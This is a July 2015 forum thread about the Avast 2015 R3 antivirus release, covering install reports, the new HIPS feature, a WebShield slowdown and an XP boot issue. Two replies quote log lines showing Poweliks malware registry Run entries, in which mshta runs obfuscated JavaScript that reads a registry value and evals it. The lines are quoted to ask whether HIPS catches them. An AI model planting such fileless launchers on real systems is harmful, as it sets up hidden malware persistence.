Author Topic: AVAST 2015 R3(2015.10.3.2223)  (Read 84177 times)

0 Members and 1 Guest are viewing this topic.

Offline midnight

  • Massive Poster
  • ****
  • Posts: 2462
  • Never Be Rude
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #45 on: July 14, 2015, 01:56:10 PM »
I don't have GrimeFighter installed.
.

Offline Martin Kudlicka

  • Avast team
  • Jr. Member
  • *
  • Posts: 62
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #46 on: July 14, 2015, 02:02:16 PM »
GrimeFighter2.log is log file for Cleanup - GrimeFighter is now Avast Cleanup . Or you don't have Cleanup installed?
Avast Support Tool - https://www.avast.com/en-eu/faq.php?article=AVKB33#artTitle
Avast support - https://support.avast.com - submit a support ticket

Offline midnight

  • Massive Poster
  • ****
  • Posts: 2462
  • Never Be Rude
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #47 on: July 14, 2015, 02:04:17 PM »
No, I don't have Cleanup installed.
.

Offline Martin Kudlicka

  • Avast team
  • Jr. Member
  • *
  • Posts: 62
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #48 on: July 14, 2015, 02:13:46 PM »
Ok then, so this is some UI Smart Scan issue - trying to include performance issues step when this component is not installed at all. We will try find out why it happens. In this case it might be helpful to have your avast5.ini, if you can submit it on support page. And thanks for you time.
Avast Support Tool - https://www.avast.com/en-eu/faq.php?article=AVKB33#artTitle
Avast support - https://support.avast.com - submit a support ticket

Offline Staticguy

  • Super Poster
  • ***
  • Posts: 1427
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #49 on: July 14, 2015, 02:23:24 PM »
Did a clean install of Avast 2015 R3 (2015.10.3.2223) and it went successfully. The HIPS feature is freaking awesome. Thanks heaps Avast. Can't wait for 2016 release and come up with awesome features  ;D.
DELL Inspiron 15" 7000 Gaming, Windows 10 Home Version 21H1 (OS Build 19043.1237), Trend Micro Maximum Security 2021 (17.0.1333), Avast SecureLine VPN (5.12.5655), Windows Firewall, Unchecky 1.2

Offline bob3160

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 48523
  • 64 Years of Happiness
    • bob3160 Protecting Yourself, Your Computer and, Your Identity
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #50 on: July 14, 2015, 03:05:49 PM »
I've updated my Protection Tweaks for avast! 2015 with "special" adjustments to the newly introduced HIPS feature. It's adjusted in a way to provide maximum protection with minimal interaction required by the user. Basically I've set it to High sensitivity and to only detect malware like behavior. Seems like the best option currently and something I'll be using as well...

https://rejzor.wordpress.com/avast-2015-protection-tweaks/
Thanks. :)
Free Security Seminar: https://bit.ly/bobg2023  -  Important: http://www.organdonor.gov/ -- My Web Site: http://bob3160.strikingly.com/ - Win 11 Pro v22H2 64bit, 16 Gig Ram, 1TB SSD, Avast Free 23.5.6066, How to Successfully Install Avast http://goo.gl/VLXdeRepair & Clean Install https://goo.gl/t7aJGq -- My Online Activity https://bit.ly/BobGInternet

Offline Be Secure

  • Long Time Avast User(10years.....) Security Enthusiast.
  • Avast Evangelist
  • Super Poster
  • ***
  • Posts: 1908
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #51 on: July 14, 2015, 03:55:10 PM »
I've updated my Protection Tweaks for avast! 2015 with "special" adjustments to the newly introduced HIPS feature. It's adjusted in a way to provide maximum protection with minimal interaction required by the user. Basically I've set it to High sensitivity and to only detect malware like behavior. Seems like the best option currently and something I'll be using as well...

https://rejzor.wordpress.com/avast-2015-protection-tweaks/
Thanks@RejZoR.I set it to High untill  it not clear to me or avast! team not talk about HIPS :)
PC- Windows10 EDU 64Bit,avast! free 21.1.2449,uBlock Origin,NVT_OSA,GoogleChrome(64bit),CCleaner,Unchecky,ZAM Free,Shadow Defender.
Security Enthusiast

Offline Maxx_original

  • Avast team
  • Super Poster
  • *
  • Posts: 1479
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #52 on: July 14, 2015, 04:18:17 PM »
The issue with IE triggering a HIPS warning (seen on screenshot) is already fixed. If you want to test HIPS, use the middle or highest level of sensitivity and let us know, whether it somehow annoys you while regularly using your OS (especially installing new software etc). The currently most visible part should be realtime registry watching, which is supposed to block dangerous actions, but not to make a lot of noise with common applications.

Offline essexboy

  • Malware removal instructor
  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 40589
  • Dragons by Sasha
    • Malware fixes
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #53 on: July 14, 2015, 04:49:57 PM »
Maxx does that mean registry entries like the latest Poweliks variant ?

Code: [Select]
HKLM-x32\...\Run: [**3fdeaf54<*>] => mshta javascript:vog3nwYSB="Ygv5";R0X8=new%20ActiveXObject("WScript.Shell");WXZe4zlnY="NEB";UMw8z=R0X8.RegRead("HKLM\\software\\Wow6432Node\\b88f6968\\d7d3f891");vGYaHFm2e="Uz2";eval(UMw8z);HOZc14VTu=
HKU\S-1-5-21-366375899-1387106490-284134612-1001\...\Run: [**3fdeaf54<*>] => mshta javascript:yVT1laXCy="C1S";J14d=new%20ActiveXObject("WScript.Shell");YJv7AWh="7JVM";pr9xT=J14d.RegRead("HKCU\\software\\b88f6968\\d7d3f891");EL9o4fUHr="Tv9";eval(pr9xT);e1YkQOQz="Tf"; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-366375899-1387106490-284134612-1001\...\Run: [**bc4486ce<*>] => mshta javascript:DYD1aob="yaV3V8";W8a=new%20ActiveXObject("WScript.Shell");bKGdj8ol="ezMu8VgPiH";Mf6n7U=W8a.RegRead("HKCU\\software\\b88f6968\\d7d3f891");dO7BoV7zGb="VcO8q0mdwY";eval(Mf6n7U);cP6GUIx2= (the data entry has 9 more characters). <===== ATTENTION (Value Name with invalid characters)

Offline Dwarden

  • Avast Evangelist
  • Super Poster
  • ***
  • Posts: 1793
  • Ideas, that's ocean without borders!
    • Bohemia Interactive
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #54 on: July 14, 2015, 04:53:46 PM »
well I still can on Windows XP replicate the issue with Avast! preventing OS startup

the only solution is to to get rid of C:\windows\drivers\aswSnx.sys

IMHO the Avast Sandbox driver is colliding with Kerio Firewall drivers but I'm not sure

yes unfortunately I still have some XP systems to keep eye on (can't wait to get rid of those later this year)

also it seems there is (was) issue with new Avast vs Tunderbird (on scanning of outgoing files) ...

https://twitter.com/FoltynD , Tech. Community, Online Services & Distribution manager of Bohemia Interactive

Offline hectic-mmv

  • Moderator
  • Sr. Member
  • *
  • Posts: 240
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #55 on: July 14, 2015, 04:59:53 PM »
It would be nicer to change build number of avast!.It is create more and more confusion :) One more thing Pls make a fix for webshield it prevent the webpages to load(slow) in avast!2015 R3 (2015.10.3.2223) version also.

Please can you write here the list of pages which load slowly?

About build number. It is intended to have same build number in beta channel after release. The advantage is, that the same build is in both channel and there is no risk in release or build process. Its the internal stuff but bring better quality for Avast build.

Offline Be Secure

  • Long Time Avast User(10years.....) Security Enthusiast.
  • Avast Evangelist
  • Super Poster
  • ***
  • Posts: 1908
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #56 on: July 14, 2015, 05:16:47 PM »
It would be nicer to change build number of avast!.It is create more and more confusion :) One more thing Pls make a fix for webshield it prevent the webpages to load(slow) in avast!2015 R3 (2015.10.3.2223) version also.

Please can you write here the list of pages which load slowly?

About build number. It is intended to have same build number in beta channel after release. The advantage is, that the same build is in both channel and there is no risk in release or build process. Its the internal stuff but bring better quality for Avast build.
www.malwarebytes.org
Yes.All most every new pages eg.snapdeal.com,www.amazon.in,filehippo.com,malwarebytes.org,even avast.com etc.When i disable Avast! webshield it funtion normal.Pls make some fix.
PC- Windows10 EDU 64Bit,avast! free 21.1.2449,uBlock Origin,NVT_OSA,GoogleChrome(64bit),CCleaner,Unchecky,ZAM Free,Shadow Defender.
Security Enthusiast

Offline Maxx_original

  • Avast team
  • Super Poster
  • *
  • Posts: 1479
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #57 on: July 14, 2015, 05:51:05 PM »
Maxx does that mean registry entries like the latest Poweliks variant ?

Code: [Select]
HKLM-x32\...\Run: [**3fdeaf54<*>] => mshta javascript:vog3nwYSB="Ygv5";R0X8=new%20ActiveXObject("WScript.Shell");WXZe4zlnY="NEB";UMw8z=R0X8.RegRead("HKLM\\software\\Wow6432Node\\b88f6968\\d7d3f891");vGYaHFm2e="Uz2";eval(UMw8z);HOZc14VTu=
HKU\S-1-5-21-366375899-1387106490-284134612-1001\...\Run: [**3fdeaf54<*>] => mshta javascript:yVT1laXCy="C1S";J14d=new%20ActiveXObject("WScript.Shell");YJv7AWh="7JVM";pr9xT=J14d.RegRead("HKCU\\software\\b88f6968\\d7d3f891");EL9o4fUHr="Tv9";eval(pr9xT);e1YkQOQz="Tf"; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-366375899-1387106490-284134612-1001\...\Run: [**bc4486ce<*>] => mshta javascript:DYD1aob="yaV3V8";W8a=new%20ActiveXObject("WScript.Shell");bKGdj8ol="ezMu8VgPiH";Mf6n7U=W8a.RegRead("HKCU\\software\\b88f6968\\d7d3f891");dO7BoV7zGb="VcO8q0mdwY";eval(Mf6n7U);cP6GUIx2= (the data entry has 9 more characters). <===== ATTENTION (Value Name with invalid characters)

Latest Poweliks is currently being analysed, previous versions should be properly blocked.

Offline mikaelrask

  • Avast Evangelist
  • Super Poster
  • ***
  • Posts: 1556
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #58 on: July 14, 2015, 07:12:14 PM »
update went fine here  :)
Windows 8.1 amd a10-5700 64 bit
12 GB ram 1 tb hard drive. Avast 18, MBAM

REDACTED

  • Guest
Re: AVAST 2015 R3 (2015.10.3.2223)
« Reply #59 on: July 14, 2015, 07:38:56 PM »
It would be nicer to change build number of avast!.It is create more and more confusion :) One more thing Pls make a fix for webshield it prevent the webpages to load(slow) in avast!2015 R3 (2015.10.3.2223) version also.

Please can you write here the list of pages which load slowly?

About build number. It is intended to have same build number in beta channel after release. The advantage is, that the same build is in both channel and there is no risk in release or build process. Its the internal stuff but bring better quality for Avast build.
www.malwarebytes.org
Yes.All most every new pages eg.snapdeal.com,www.amazon.in,filehippo.com,malwarebytes.org,even avast.com etc.When i disable Avast! webshield it funtion normal.Pls make some fix.

Same issue here im on win 7 64. Brand new install, though the culprit was my brand new ssd...avast once more....sigh rolling back to Previous version..
« Last Edit: July 14, 2015, 07:41:51 PM by psikofunkster »